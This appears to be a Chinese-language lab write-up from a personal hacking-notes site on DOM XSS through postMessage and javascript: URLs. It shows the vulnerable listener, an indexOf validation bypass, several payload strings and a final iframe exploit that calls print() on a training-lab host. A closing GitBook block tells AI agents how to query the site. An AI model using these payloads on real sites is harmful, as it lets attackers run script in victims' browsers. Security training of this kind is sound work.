> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/dom/dom-xss-via-web-messages-and-javascript-url.md).

# 通过 Web 消息和 JavaScript URL 进行 DOM XSS

### 使用 Web 消息和 JavaScript URL 的 DOM XSS

演示 DOM 漏洞导致通过以下方式进行重定向/执行的实验 `postMessage`。目标：在利用服务器上构建一个 HTML 页面，发送一条消息以在 `print()` 目标页面中运行。

```javascript
<script>
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
    location.href = url;
    }
}, false);
</script>
```

目标页面会监听已发布的消息，并将接收到的数据视为一个 URL。若接收到的字符串包含 `HTTP:` 或 `https:`，页面会重定向（`location.href`）到该值。目标端代码如下：

```javascript
window.postMessage('https://jord4n.pro', '*');
```

成功触发重定向到 `https://jord4n.pro`.

<figure><img src="/files/82dc06a452981968ccd5eb0ca0a90c021369f383" alt=""><figcaption></figcaption></figure>

### 验证绕过

验证仅会阻止不包含以下内容的字符串 `HTTP:` 或 `https:` （通过 `indexOf`）进行检查。 `indexOf > -1` 因此可通过添加以下内容来滥用该逻辑： `//https://...` 部分位于一个 `JavaScript：` 协议，从而在保持以以下内容开头的 URL 的同时满足条件： `JavaScript：`。例如：

```javascript
window.postMessage('javascript:alert(0)', '*');
```

* 要弹出警报：

```javascript
window.postMessage('javascript:alert(0)//https://google.com', '*');
```

<figure><img src="/files/c1f13b8633eb13a5980ef4fd3bb47516008a4017" alt=""><figcaption></figcaption></figure>

* 要调用 `print()`:

```javascript
window.postMessage('javascript:print()//https://google.com', '*');
```

该 `//https://google.com` 部分仅用于满足 `indexOf('https:') > -1` 条件。

<figure><img src="/files/2eb9f72cac4e3c1e47d922ace63d1060733dc058" alt=""><figcaption></figcaption></figure>

#### 最终利用

攻击页面可以包含一个指向漏洞页面的 iframe，并在加载时向嵌入内容发送恶意消息。以下是可放置在运行服务器上的实现示例：

{% code overflow="wrap" %}

```javascript
<iframe
  src="https://0a3c00e80375c1ca825c9cec00b50011.web-security-academy.net/"
  width="500"
  height="500"
 onload="this.contentWindow.postMessage('javascript:print()//https://google.com', '*'); "
</iframe>
```

{% endcode %}

<figure><img src="/files/f780e2773dd7f6dc4628c28e4241b51c21bde4af" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/zh/web/dom/dom-xss-via-web-messages-and-javascript-url.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
